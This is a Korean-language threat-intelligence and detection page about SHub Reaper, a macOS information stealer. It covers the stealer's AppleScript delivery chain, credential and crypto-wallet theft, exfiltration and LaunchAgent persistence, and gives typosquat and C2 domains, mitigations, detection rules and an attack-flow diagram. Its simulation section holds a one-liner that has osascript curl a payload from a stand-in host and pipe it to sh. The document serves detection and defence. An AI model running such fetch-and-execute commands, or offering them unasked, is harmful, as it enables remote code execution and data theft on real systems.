SHub Reaper | macOS 스틸러가 단일 공격 체인에서 Apple, Google, 그리고 Microsoft를 사칭
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
보고서는 오타를 이용한 마이크로소프트 테마 도메인을 통해 악성 AppleScript 페이로드를 전달하는 가짜 WeChat 및 Miro 설치자를 사용하는 새로운 macOS 정보 탈취 변형인 SHub Reaper를 분석합니다. Script Editor에서 실행되면 페이로드는 브라우저 데이터, 암호화폐 지갑 파일 및 키체인 정보를 수집하고, 그 후에 도난당한 콘텐츠를 분할된 ZIP 아카이브로 외부로 유출합니다. 악성 소프트웨어는 또한 지갑 파일을 변조하고, Google 소프트웨어 업데이트로 위장한 LaunchAgent를 통해 지속성을 확립합니다. 권장 탐지는 AppleScript 실행, 수상한 LaunchAgent 생성 및 알려진 명령 및 제어 인프라로의 아웃바운드 트래픽에 중점을 둡니다.
조사
SentinelOne은 전체 다단계 전달 체인을 추적했으며, 여기에는 applescript:// 스킴의 남용, 동적 생성되는 AppleScript 페이로드, AMOS에서 보이는 문서 절도 동작을 미러링하는 파일 수집 모듈을 포함합니다. 연구원들은 명령 및 제어 도메인 hebsbsbzjsjshduxbs.xyz 와 관련된 엔드포인트로의 네트워크 트래픽을 캡처했고, 사용자의 라이브러리 디렉터리에 위치한 LaunchAgent의 생성과, /tmp 에 있는 임시 파일의 생성을 포함합니다. 조사는 운영자 텔레메트리에 사용된 하드코딩된 Telegram 봇 기능도 밝혀냈습니다.
완화
방어자들은 오타를 이용한 도메인 mlcrosoft.co.com, qq-0732gwh22.com, 및 mlroweb.com,으로의 접근을 차단해야 하며, Google 업데이트 구성요소를 모방하는 경로에서 생성된 LaunchAgents를 모니터링해야 합니다. 애플리케이션 허용 목록은 신뢰할 수 없는 소스에서 AppleScript 실행을 제한하는 데 사용되어야 하며, 엄격한 코드 서명 검증이 시행되어야 합니다. 네트워크 탐지는 확인된 명령 및 제어 도메인 및 그의 알려진 API 경로와의 통신에 대한 경고도 제공해야 합니다.
대응
SHub Reaper 활동이 감지되면, 영향을 받는 엔드포인트를 즉시 격리하고, 수상한 AppleScript 또는 LaunchAgent 프로세스를 종료하며, 악성 파일을 /tmp 사용자 라이브러리에서 제거하십시오. 그 후에 조사자들은 브라우저 데이터 저장소, 지갑 디렉토리 및 인증 리포지토리의 완전한 포렌식 수집을 수행하고, 손상이 의심될 때는 인증 정보를 재설정해야 합니다. 식별된 명령 및 제어 인프라는 차단되어야 하며, 사고 대응 팀은 환경 전체에 대한 포괄적인 위협 사냥을 시작해야 합니다.
graph TB %% 클래스 정의 classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef operator fill:#ff9900 %% 노드 – 공격 단계 step_initial_access[“<b>기술</b> – <b>T1659 콘텐츠 주입</b>: 손상된 유인 웹사이트(가짜 WeChat 또는 Miro)가 페이로드를 전달하는 악성 applescript:// URL을 호스팅”] class step_initial_access action step_execution[“<b>기술</b> – <b>T1027 난독화된 파일 또는 정보</b>: Script Editor에서 열린 AppleScript가 숨겨진 base64 인코딩 curl 호출을 실행하여 stager를 디코딩하고 실행”] class step_execution action step_code_retrieval[“<b>기술</b> – <b>T1505 서버 소프트웨어 구성 요소</b>: AppleScript가 원격 서버에서 핵심 악성 AppleScript를 다운로드”] class step_code_retrieval action step_credential_capture[“<b>기술</b> – <b>T1056 입력 캡처</b>: AppleScript가 사용자에게 비밀번호 입력을 요청하고 Keychain 데이터를 수집”] class step_credential_capture action step_data_collection[“<b>기술</b> – <b>T1074.001 로컬 데이터 스테이징</b>: Filegrabber가 Desktop 및 Documents에서 대상 확장자를 검색하고 /tmp/shub_<rand>에 스테이징”] class step_data_collection action step_archive[“<b>기술</b> – <b>T1560.001 유틸리티를 통한 아카이브</b>: 수집된 파일을 압축하고 70MB 청크로 분할”] class step_archive action step_exfiltration[“<b>기술</b> – <b>T1011 기타 네트워크 매체를 통한 유출</b>: 청크를 HTTPS를 통해 명령 및 제어 서버로 업로드”] class step_exfiltration action step_wallet_hijack[“<b>기술</b> – <b>T1553.002 코드 서명</b> 및 <b>T1036.001 가장</b>: 악성 app.asar 파일이 정상 지갑 바이너리를 대체하며, ad-hoc 또는 잘못된 코드 서명을 사용하여 Gatekeeper를 우회”] class step_wallet_hijack action step_persistence[“<b>기술</b> – <b>T1037.002 Login Hook</b>, <b>T1176 소프트웨어 확장</b> 및 <b>T1574.007 경로 가로채기</b>: PATH에 배치된 LaunchAgent plist(com.google.keystone.agent.plist)가 포함된 가짜 Google Software Update 디렉터리를 사용하여 지속적 실행 달성”] class step_persistence action step_backdoor[“<b>기술</b> – <b>T1219 원격 액세스 도구</b>: LaunchAgent가 60초마다 GoogleUpdate 스크립트를 실행하고 /api/bot/heartbeat로 비콘을 전송하며 추가 명령 실행 가능”] class step_backdoor malware %% 노드 – 도구 / 구성 요소 tool_applescript[“<b>도구</b> – <b>이름</b>: AppleScript<br/><b>설명</b>: Script Editor를 통해 실행되어 페이로드를 디코딩하고 시작하는 스크립트”] class tool_applescript tool tool_curl[“<b>도구</b> – <b>이름</b>: curl<br/><b>설명</b>: HTTPS를 통해 추가 AppleScript 및 데이터 파일을 다운로드하는 데 사용”] class tool_curl tool tool_launchagent[“<b>도구</b> – <b>이름</b>: LaunchAgent<br/><b>설명</b>: plist로 정의되는 macOS 사용자 수준 지속성 메커니즘”] class tool_launchagent tool malware_stager[“<b>악성코드</b> – <b>이름</b>: Stager<br/><b>설명</b>: 메인 AppleScript 페이로드를 가져오는 소형 로더”] class malware_stager malware %% 엣지 – 흐름 step_initial_access –>|이어짐| step_execution step_execution –>|사용| tool_applescript step_execution –>|실행| malware_stager malware_stager –>|통해 다운로드| tool_curl malware_stager –>|트리거| step_code_retrieval step_code_retrieval –>|사용| tool_curl step_code_retrieval –>|활성화| step_credential_capture step_credential_capture –>|수집| step_data_collection step_data_collection –>|파일 준비| step_archive step_archive –>|청크 생성| step_exfiltration step_exfiltration –>|전달| step_wallet_hijack step_wallet_hijack –>|수정| step_persistence step_persistence –>|설치| tool_launchagent tool_launchagent –>|제공| step_backdoor step_backdoor –>|역할 수행| malware_stager %% 클래스 할당 class step_initial_access,step_execution,step_code_retrieval,step_credential_capture,step_data_collection,step_archive,step_exfiltration,step_wallet_hijack,step_persistence,step_backdoor action class tool_applescript,tool_curl,tool_launchagent tool class malware_stager,step_backdoor malware
공격 흐름
탐지
가능한 IP 조회 도메인 통신 시도 (dns 통해)
보기
수정된 애플리케이션 번들의 강제 코드 서명 (cmdline 통해)
보기
MacOS 아카이브 유틸리티가 의심스러운 디렉토리를 가리킴 (cmdline 통해)
보기
의심스러운 Curl 실행 시도 [MacOS] (cmdline 통해)
보기
MacOS 임시 폴더에 아카이브가 생성됨 (file_event 통해)
보기
가능한 Base64 인코딩 문자열 조작 (cmdline 통해)
보기
IOCs (HashSha256)을 통해 탐지: SHub Reaper | macOS 스틸러는 단일 공격 체인에서 Apple, Google 및 Microsoft를 스푸핑합니다
보기
IOCs (HashMd5)을 통해 탐지: SHub Reaper | macOS 스틸러는 단일 공격 체인에서 Apple, Google 및 Microsoft를 스푸핑합니다
보기
오타를 이용한 도메인 및 C2 도메인을 사용한 SHub Reaper 감염 체인 탐지 [웹 서버]
보기
AppleScript 및 Curl을 통한 SHub Reaper 악성 소프트웨어 실행 탐지 [Linux 프로세스 생성]
보기
시뮬레이션 실행
전제 조건: 텔레메트리 & 베이스라인 프리-플라이트 체크가 통과해야 합니다.
합리적 근거: 이 섹션은 탐지 규칙을 트리거하도록 설계된 상대 기술(TTP)의 정확한 실행을 자세히 설명합니다. 명령과 서술은 발견된 TTP를 직접 반영해야 하며 탐지 논리에 의해 예상된 정확한 텔레메트리를 생성하는 것을 목표로 합니다. 추상적이거나 관련이 없는 예시는 오진으로 이어질 것입니다.
-
공격 서술 및 명령:
공격자는osascript를 활용하는 간결한 한 줄의 스크립트를 만듭니다. AppleScript 내에서쉘 스크립트를 실행하는를 사용하여curl을 실행하여 원격 쉘 스크립트(payload.sh)를 다운로드하고, 이를 직접sh에 파이프 처리하여 실행합니다. 전체 체인이 단일 AppleScript 호출에 내장되어 있기 때문에, macOS는프로세스 생성을 단일 이벤트로 기록하고, 커맨드 라인에osascriptandcurl가 같이 포함되어 탐지 규칙을 충족시킵니다. -
회귀 검사 스크립트:
#!/bin/bash # # macOS에서 SHub Reaper 실행 시뮬레이션 # 'osascript'와 'curl'을 모두 포함하는 단일 프로세스 생성 이벤트 생성 # MALICIOUS_URL="https://malicious.example.com/payload.sh" # 한 줄: osascript가 페이로드를 다운로드하여 실행하는 쉘 명령 실행 osascript -e "do shell script "curl -s ${MALICIOUS_URL} | sh"" -
정리 명령:
#!/bin/bash # # 시뮬레이션으로 생성된 아티팩트를 정리합니다. # 페이로드는 메모리에서 실행되며 파일을 작성하지 않지만, 잔여 프로세스가 없음을 보장합니다. # # 테스트에 의해 시작된 각 'sh' 프로세스를 종료합니다 (프로덕션 시스템에서 사용할 때 주의하세요) pkill -f "sh -c curl -s https://malicious.example.com/payload.sh"